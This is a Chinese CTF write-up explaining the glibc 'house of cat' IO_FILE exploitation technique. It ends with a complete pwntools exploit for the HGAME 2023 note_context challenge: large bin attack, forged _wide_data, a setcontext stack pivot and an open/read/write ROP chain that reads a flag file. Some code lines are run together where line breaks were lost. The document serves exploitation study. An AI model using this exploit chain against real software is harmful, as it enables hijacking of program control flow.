house of cat

文章目录

  • house of cat
    • 概述：
    • _IO_wfile_jumps
    • 进入_IO_wfile_seekoff
      • FSOP
      • __malloc_assert
    • 例题：
      • 思路：
      • 分析：
      • 利用：

house of cat

概述：

  1. house of cat主要的摸底还是覆盖vtable指针，因为在glibc-2.24之后堆vtable新增了检查，导致直接覆盖vtable为system行不通，所以需要 利用_IO_jump_t中的函数 （这样能绕过vtable的判断）来挟持程序的控制流。

    vtable的检查可以看这篇文章 ：glibc 2.24 下 IO_FILE 的利用 ，house of cat可以通过伪造IO_FILE走FOSP或者**__malloc_assert** 来完成攻击。

_IO_wfile_jumps

  1. 首先利用的函数就是_IO_wfile_jumps中的 _IO_wfile_seekoff函数，这里看一下 _IO_wfile_jumps的结构：

    我们关注的**_IO_wfile_seekoff**在第10个位置，偏移为0x48。这里额外关注一下第二个函数_IO_wfile_overflow，后面会调用。

    image-20240902094859041

    _IO_wfile_seekoff函数的源码如下，截取要利用的关键部位：

    off64_t
_IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;/* Short-circuit into a separate function.  We don't want to mix anyfunctionality and we don't want to touch anything inside the FILEobject. */if (mode == 0) // 要绕过这个判断 mode 不能为 0return do_ftell_wide(fp);/* POSIX.1 8.2.3.7 says that after a call the fflush() the fileoffset of the underlying file must be exact.  */int must_be_exact = ((fp->_wide_data->_IO_read_base == fp->_wide_data->_IO_read_end) && (fp->_wide_data->_IO_write_base == fp->_wide_data->_IO_write_ptr));bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); // 给was_writing赋值/* Flush unwritten characters.(This may do an unneeded write if we seek within the buffer.But to be able to switch to reading, we would need to setegptr to pptr.  That can't be done in the current design,which assumes file_ptr() is eGptr.  Anyway, since we probablyend up flushing when we close(), it doesn't make much difference.)FIXME: simulate mem-mapped files. */if (was_writing && _IO_switch_to_wget_mode(fp)) // was_writing为1时会调用_IO_switch_to_wget_mode函数，传入的第一个参数是当前的FILEreturn WEOF;

    _IO_switch_to_wget_mode函数的源码如下：

    函数在第一个判断条件成立后会调用_IO_WOVERFLOW函数，并传入当前FILE地址。仔细看，这里的判断条件和上上面 _IO_wfile_seekoff的判断条件是一样的。所以伪造IO_FILE是只用满足该条件即可

        int _IO_switch_to_wget_mode(FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)return EOF;if (_IO_in_backup(fp))fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;else{fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;}fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;fp->_flags &= ~_IO_CURRENTLY_PUTTING;return 0;
}

    这里提前放一段 _IO_switch_to_wget_mode函数的汇编指令，后面讲一个打IO_FILE的栈迁移（不用malloc_hook和free_hook）：

    看一下_IO_WOVERFLOW(fp, WEOF)的调用过程：

    调用 fp的_wide_data字段 指向的 结构体**_ IO_wide_data**中的 _wide_vtable字段 所指向的__overflow函数（在虚表中偏移为 0x18，也就是上面 _IO_wfile_jumps中的第二个函数）。并且再次过程中 使用 _wide_vtable时并没有像glibc-2.24中的vtable检查范围，所以这里的 _wide_vtable字段的指针时可以被我们随意覆盖的（覆盖成system）

    image-20240902091946038

    结构体如下：

    image-20240902092725210

  2. 最后综上，从_IO_wfile_seekoff函数 要执行到 _IO_switch_to_wget_mode函数，需要绕过的检查：

    fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

    所以，在伪造IO_FILE时可以按照下面方法：

    • 伪造的IO_FILE地址 + 0xc0 ==> -1 (fp->_mode != 0)

    • 伪造的IO_FILE地址 + 0xa0 ==> 任意一个堆地址 chunk_addr

    • chunk_addr + 0x18 ==> 0x1 (fp->_wide_data->_IO_write_ptr)

    • chunk_addr + 0x20 ==> 0x0 (fp->_wide_data->_IO_write_base)

进入_IO_wfile_seekoff

  1. 上面只看了_IO_wfile_seekoff函数 要执行到 _IO_switch_to_wget_mode函数的情况，如何执行到 _IO_wfile_seekoff函数还没有解决，下面看如何执行到 _IO_wfile_seekoff函数，两种方法：

FSOP

执行的IO链子：

__GI_exit --> __run_exit_handlers --> _IO_cleanup --> _IO_wfile_seekoff --> _IO_switch_to_wget_mode

  1. 因为_IO_wfile_seekoff函数所在的虚表 _IO_wfile_jumps时存在vtable检查内的，所以利用先前house of pig中，通过调用exit函数执行到 _IO_flush_all_lockp，然后覆盖vtable为 _IO_wfile_jumps + 0x30 ，在 _IO_flush_all_lockp刷新所有文件时就会调用到 _IO_wfile_seekoff 函数.

  2. 简单看一下FSOP的调用链，前提时满足FSOP链的要求。而 _IO_wfile_seekoff调用到 _IO_switch_to_wget_mode要满足 mode != 0，所以 mode <0 ，但是 _IO_wfile_seekoff中的mode并不是 fp-> _mode：

    image-20240902165310328

    image-20240902164938245

    要绕过这个mode == 0的我检查，就要在 _IO_flush_all_lockp调用 _IO_wfile_seekoff函数时将传入的参数mode设置为0，在挟持vtavle执行 _IO_wfile_seekoff函数时，如果使用第一个判断条件

    看一下调试的情况（这里用的是glibc-2.31），在调用到 _IO_wfile_seekoff函数之前都没有对rcx进行赋值，所以进入 _IO_wfile_seekoff函数后 参数mode会是0，这种情况下我们不能控制mode参数的值（我继续像上面的函数调试了，发现在 _IO_cleanup 函数中将rcx设置为0，一直保持到了 _IO_flush_all_lockp 函数）。如果利用第一个判断条件，我们是无法通过伪造IO_FILE来将mode 即 rcx寄存器的值设置为0 ：

    如果使用第二个判断条件 （和IO_wfile_seekoff调用IO_switch_to_wget_mode函数的条件一样），在进入到 IO_wfile_seekoff函数之前， 这里对rcx进行了赋值，用的是**(_IO_wide_data_2+24)即 _IO_wide_data_2中的 _IO_write_base字段的值**。在这前面的部分都没有对rcx赋值，且在进入_IO_flush_all_lockp函数是rcx的值为0：

    image-20240902171941166

    满足，fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 后顺利调用到 _IO_switch_to_wget_mode函数，这里传参rdi的值直接给的FILE地址：

    image-20240902103826613

    再次通过上面的判断条件后，通过从fp中的_wide_data字段 进入 _IO_wide_data_2，再通过 IO_wide_data_2中的 _wide_vtable字段 顺利调用到 _IO_wfile_jumps中偏移为0x18处的函数 _IO_wfile_overflow：

    image-20240902103933810

    所以，如果伪造FILE，在绕过检查的同时(上面有绕过检查的方法)，再伪造一下fp中的_wide_data字段 和对应 IO_wide_data_2 就能get shell，伪造好后如下（这里演示栈迁移的get shell的方法 仍然只使用system(“/bin/sh”)），要用到setcontext，并且用 _IO_switch_to_wget_mode函数前段部分 用rdi 给rdx赋值

    rdi(fp) ==> rax(_wide_vtable) ==> rdx( _wide_vtable -> _IO_write_ptr )：

    image-20240902195801390

    执行到 调用_IO_wfile_seekoff函数之前，将IO_wide_data_2中的 _IO_write_base字段值给到rcx：

    image-20240902193431998

    进入_IO_wfile_seekoff函数，可以看到传入的额参数mode = 1：

    image-20240902193716151

    这里检查了传入的 mode 是否为0：

    image-20240902193840863

    成功衔接到_IO_switch_to_wget_mode函数：

    image-20240902193914697

    进入_IO_switch_to_wget_mode 函数，开头的一段直接 rdi(fp) ==> rax( _wide_vtable) ==> rdx( _wide_vtable -> _IO_write_ptr )，完成 rdi 到 rdx值的转化，后面的call 指令顺利衔接到setcontext + 61：

    image-20240902194520125

    进入setconbext + 61，对 rsp 赋值完成栈迁移，rcx 赋为ret指令地址入栈，退出时平衡掉栈:

    image-20240902195127027

    顺利完成栈迁移，成功get shell：

    image-20240902195424808

__malloc_assert

  1. FSOP前面都已经介绍的很熟悉了，这里主要看另外一种能调用到 _IO_wfile_seekoff函数的方法。
  2. __malloc_assert 函数的作用就是在动态内存分配失败时，提供一种处理这种情况的方法。它可能会打印错误信息、触发断言（assert）或执行其他错误处理操作。
  3. __malloc_assert触发的IO链子：
_int_malloc --> sysmalloc --> __malloc_assert --> __fxprintf --> __vfxprintf--> locked_vfxprintf --> __vfprintf_internal --> _IO_file_xsputn

经过调试，发现这里要执行到_IO_file_xsputn 要将 _flag要设置为0x8005 （绕过__vfprintf_internal中的两个检查）：

第一个检查：

image-20240902224257783

第二个检查：

image-20240902224429651

image-20240902223728817

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  1. 这里覆盖文件中的stderr字段指向堆，然后在堆上伪造 _IO_2_1_stderr _ 结构，伪造的结构如下（这里只保证执行到setcontext + 53处）。注意：因为IO链的不同，这里伪造时和FSOP不同之处在于vtable的覆盖 要使用 _IO _wfile _jumps+0x10，这样后面+0x38 偏移就能拿到 _IO_wfile_seekoff函数：

    image-20240903110046666

    在__vfxprintf 函数中，会从stderr中取出伪造的FILE地址（这里原本是 _IO_2_1_stderr _的地址）：

    image-20240903104551502

    在这里绕过一个判断条件，成功调用到 __vfxprintf函数：

    image-20240903105020856

    后面进入到 __vfwprintf_internal函数中，通过 _IO_vtable_check判断，成功调用到 _IO_wfile_seekoff函数，并且 _IO_wfile_seekoff中传入的参数mode不为0，可以绕过前面第一个判断：

    image-20240903105239315

    image-20240903105354044

    这里满足第二个判断条件 fp-> _wide_data->_IO_write_ptr > fp-> _wide_data-> _IO_write_base，最后调用到 _IO_switch_to_wget_mode函数：

    image-20240903105615946

    进入_IO_switch_to_wget_mode函数（这里仍然能完成栈迁移 rdi --> rdx转换，和上面FSOP一样），绕过判断条件 fp-> _wide_data-> _IO_write_ptr > fp-> _wide_data-> _IO_write_base 后成功衔接到<setcontext+53>：

    image-20240903110226919

例题：

题目地址：[HGAME 2023 week3]note_context | NSSCTF

思路：

  1. 只存在一个UAF漏洞，并且申请的size限制在0x500往上，这里就只能打large bin attack，libc的版本附件给的是2.32，所以这里可以打house of cat，利用FSOP触发，栈迁移到堆上，基本的流程如下：

    泄漏堆地址、libc地址 --> large bin attack 覆盖 _IO_list_all --> 伪造IO_FILE --> 最后在 _IO_flush_all_lockp劫持函数，通过 _wide_data中的函数指针完成栈迁移到堆上。

分析：

  1. 4项功能俱全，add函数中设置了size范围大于0x500 小于0x900，delete函数中存在UAF漏洞，并且最后主动调用了exit()函数。同时开了沙箱要绕过，并且保护全开（这里__malloc_assert触发就不太现实了 stderr的地址都拿不到）：

    image-20240903215122766

    image-20240903205017690

    image-20240903205021933

    image-20240903205745353

利用：

  1. 先泄漏堆地址和libc地址：

    
# 泄漏libc
add(0x510,0)    #0
add(0x530,15)    #15 隔开
add(0x520,1)    #1
add(0x530,15)    #15
edit(15,b"./flag\x00\x00")free(1)
add(0x530,15)    #15 将chunk1放入large bin
show(1)
addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base = addr - 0x1E4030
success("libc_addr==>"+hex(libc_base))
debug()
pause()
#计算__free_hook和system地址
setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
system_addr        = libc_base + libc.sym["system"]
IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
IO_wfile_jumps_addr = libc_base + libc.sym["_IO_wfile_jumps"]
# IO_wfile_jumps_addr = libc_base + 0x1E4F80success("system_addr==>"        + hex(system_addr))
success("setcontext_addr==>"    + hex(setcontext_addr))
success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
success("IO_wfile_jumps_addr==>"   + hex(IO_wfile_jumps_addr))open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_basepop_rdi_ret=libc_base + 0x000000000002858f
pop_rdx_r12_ret=libc_base + 0x0000000000114161
pop_rax_ret=libc_base + 0x0000000000045580
pop_rsi_ret=libc_base + 0x000000000002ac3f
ret= libc_base + 0x0000000000026699# 泄漏堆地址 同时完成large bin attack 攻击 覆盖掉IO_list_all
free(0)
edit(1,p64(addr)*2 + p64(0) + p64(IO_list_all_addr-0x20))
add(0x530,15)    #15 将chunk0放入large bin 触发large bin attackshow(1)
p.recv()
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))-0x290
success("heap_addr==>"+hex(heap_addr))

    这里由于只有large bin，没有chunk进入fastbin和tcache，所以可以在完成large bin attack的同时，利用large bin fd指针上的值泄漏堆地址。

    这里泄漏libc地址，同时可以看到fd指针上是无法得到堆地址的：

    image-20240903210634702

    这里完成一次large bin attack攻击 ，同时泄漏堆地址：

    image-20240903215757651

    image-20240903211336770

  2. 后面在堆上伪造IO_FILE 同时 写好ORW ，利用_IO_switch_to_wget_mode完成栈迁移（堆上布置好rsp和rcx寄存器的值），这里将IO_FILE、ORW、 _wide_data、寄存器传参、直接全部在一个堆上伪造（这里堆的各种偏移需要调试计算好）：

    # ORW
syscall = read_addr+16
flag = heap_addr+0x1230		# 前面堆上写入的b"./flag\x00\x00"地址# open(0,flag)
orw =p64(pop_rdi_ret)+p64(flag)
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall)
# orw =p64(pop_rdi_ret)+p64(flag)
# orw+=p64(pop_rsi_ret)+p64(0)
# orw+=p64(open_addr)# read(3,heap+0x1010,0x30) 
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
orw+=p64(read_addr)     # write(1,heap+0x1010,0x30)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)#存放地址0x50
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
orw+=p64(write_addr)# debug()
# ========== 伪造IO_FILE ==========
file = p64(0) + p64(0)              #_IO_read_end    _IO_read_base
file+= p64(0) + p64(1) + p64(0)     #_IO_write_base  _IO_write_ptr _IO_write_end
file+= p64(0) + p64(0)              #_IO_buf_base    _IO_buf_end
file+= p64(0) * 11                  #_IO_save_base ~ _codecvt
file+= p64(heap_addr + 0x370)        #_wide_data
file+= p64(0) *3                    #_freeres_list ~ __pad5
file+= p64(1) + p64(0)*2            # _mode  _unused2 (2dword)file+=p64(IO_wfile_jumps_addr + 0x30)   #vtable#_IO_wide_data_2
_wide_vtable = heap_addr + 0x380
rdx = heap_addr + 0x380			   # rdi --> rdx 转换
stack_change = heap_addr + 0x460file+= p64(0)*3                                      #_IO_read_ptr   _IO_read_end  _IO_read_base
file+= p64(1) + p64(rdx) + p64(setcontext_addr)      #_IO_write_base _IO_write_ptr _IO_write_end
file+= p64(0) * 16 + p64(stack_change) + p64(ret)
file+= p64(0) * 4
file+= p64(_wide_vtable)          #_wide_vtable
file+= p64(0)   #填充
# stack change
file+= orwedit(0,file)
p.sendline(b"5")
p.interactive()

    看一下伪造好后的堆：

    image-20240903212044439

    image-20240903212109523

    image-20240903212635072

    下面试栈迁移的过程：

    绕过检查 进入 _IO_switch_to_wget_mode

    image-20240903212747400

    在 函数中完成 rdi --> rdx 值的转换，并成功衔接到 setcontext+61：

    image-20240903213428197

    进入setcontext + 61，开头完成栈迁移：

    image-20240903213504978

    push rcx 入栈 ret指令地址：

    image-20240903213542446

    最后衔接到堆上布置好的ORW：

    image-20240903213655674

    最后读取到flag：

    image-20240903213717672

  3. 完成EXP，这里就只打了本地，因为远程泄漏出来的libc地址根本不对，应该是给的libc版本和远程的不符合：

    from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')def debug():gdb.attach(p)# p = remote("node5.anna.nssctf.cn",28430)
p = process("./vuln")
# libc = ELF('./lib/libc_2.31-0ubuntu9.2_amd64.so')libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so')
# elf = ELF("./pwn")def add(size,index):p.sendlineafter(b'>','1')p.sendlineafter(b':',str(index).encode())p.sendlineafter(b':',str(size).encode())def edit(index, content):p.sendlineafter(b'>','3')p.sendlineafter(b':',str(index).encode())p.sendafter(b':',content)def show(index):p.sendlineafter(b'>',b'4')p.sendlineafter(b':',str(index).encode())def free(index):p.sendlineafter(b'>','2')p.sendlineafter(b':',str(index).encode())# 泄漏libc
add(0x510,0)    #0
add(0x530,15)    #15 隔开
add(0x520,1)    #1
add(0x530,15)    #15
edit(15,b"./flag\x00\x00")free(1)
add(0x530,15)    #15 将chunk1放入large bin
show(1)addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base = addr - 0x1E4030
success("libc_addr==>"+hex(libc_base))#计算__free_hook和system地址
setcontext_addr    = libc_base + libc.sym["setcontext"] + 61
system_addr        = libc_base + libc.sym["system"]
IO_2_1_stdout_addr = libc_base + libc.sym["_IO_2_1_stdout_"]
IO_list_all_addr   = libc_base + libc.sym["_IO_list_all"]
IO_wfile_jumps_addr = libc_base + libc.sym["_IO_wfile_jumps"]
# IO_wfile_jumps_addr = libc_base + 0x1E4F80success("system_addr==>"        + hex(system_addr))
success("setcontext_addr==>"    + hex(setcontext_addr))
success("IO_2_1_stdout_addr==>" + hex(IO_2_1_stdout_addr))
success("IO_list_all_addr==>"   + hex(IO_list_all_addr))
success("IO_wfile_jumps_addr==>"   + hex(IO_wfile_jumps_addr))open_addr = libc.sym['open']+libc_base
read_addr = libc.sym['read']+libc_base
write_addr = libc.sym['write']+libc_basepop_rdi_ret=libc_base + 0x000000000002858f
pop_rdx_r12_ret=libc_base + 0x0000000000114161
pop_rax_ret=libc_base + 0x0000000000045580
pop_rsi_ret=libc_base + 0x000000000002ac3f
ret= libc_base + 0x0000000000026699# 泄漏堆地址 同时完成large bin attack 攻击 覆盖掉IO_list_all
free(0)
edit(1,p64(addr)*2 + p64(0) + p64(IO_list_all_addr-0x20))
add(0x530,15)    #15 将chunk0放入large bin 触发large bin attackshow(1)
p.recv()
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))-0x290
success("heap_addr==>"+hex(heap_addr))# ORW
syscall = read_addr+16
flag = heap_addr+0x1230# open(0,flag)
orw =p64(pop_rdi_ret)+p64(flag)
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall)
# orw =p64(pop_rdi_ret)+p64(flag)
# orw+=p64(pop_rsi_ret)+p64(0)
# orw+=p64(open_addr)# read(3,heap+0x1010,0x30) 
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
orw+=p64(read_addr)     # write(1,heap+0x1010,0x30)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rsi_ret)+p64(heap_addr+0x1010)#存放地址0x50
orw+=p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
orw+=p64(write_addr)# ========== 伪造IO_FILE ==========
file = p64(0) + p64(0)              #_IO_read_end    _IO_read_base
file+= p64(0) + p64(1) + p64(0)     #_IO_write_base  _IO_write_ptr _IO_write_end
file+= p64(0) + p64(0)              #_IO_buf_base    _IO_buf_end
file+= p64(0) * 11                  #_IO_save_base ~ _codecvt
file+= p64(heap_addr + 0x370)        #_wide_data
file+= p64(0) *3                    #_freeres_list ~ __pad5
file+= p64(1) + p64(0)*2            # _mode  _unused2 (2dword)file+=p64(IO_wfile_jumps_addr + 0x30)   #vtable#_wide_data
_wide_vtable = heap_addr + 0x380
rdx = heap_addr + 0x380
stack_change = heap_addr + 0x460file+= p64(0)*3                                      #_IO_read_ptr   _IO_read_end  _IO_read_base
file+= p64(1) + p64(rdx) + p64(setcontext_addr)      #_IO_write_base _IO_write_ptr _IO_write_end
file+= p64(0) * 16 + p64(stack_change) + p64(ret)
file+= p64(0) * 4
file+= p64(_wide_vtable)          #_wide_vtable
file+= p64(0)   #填充
# stack change
file+= orwedit(0,file)
p.sendline(b"5")
p.interactive()

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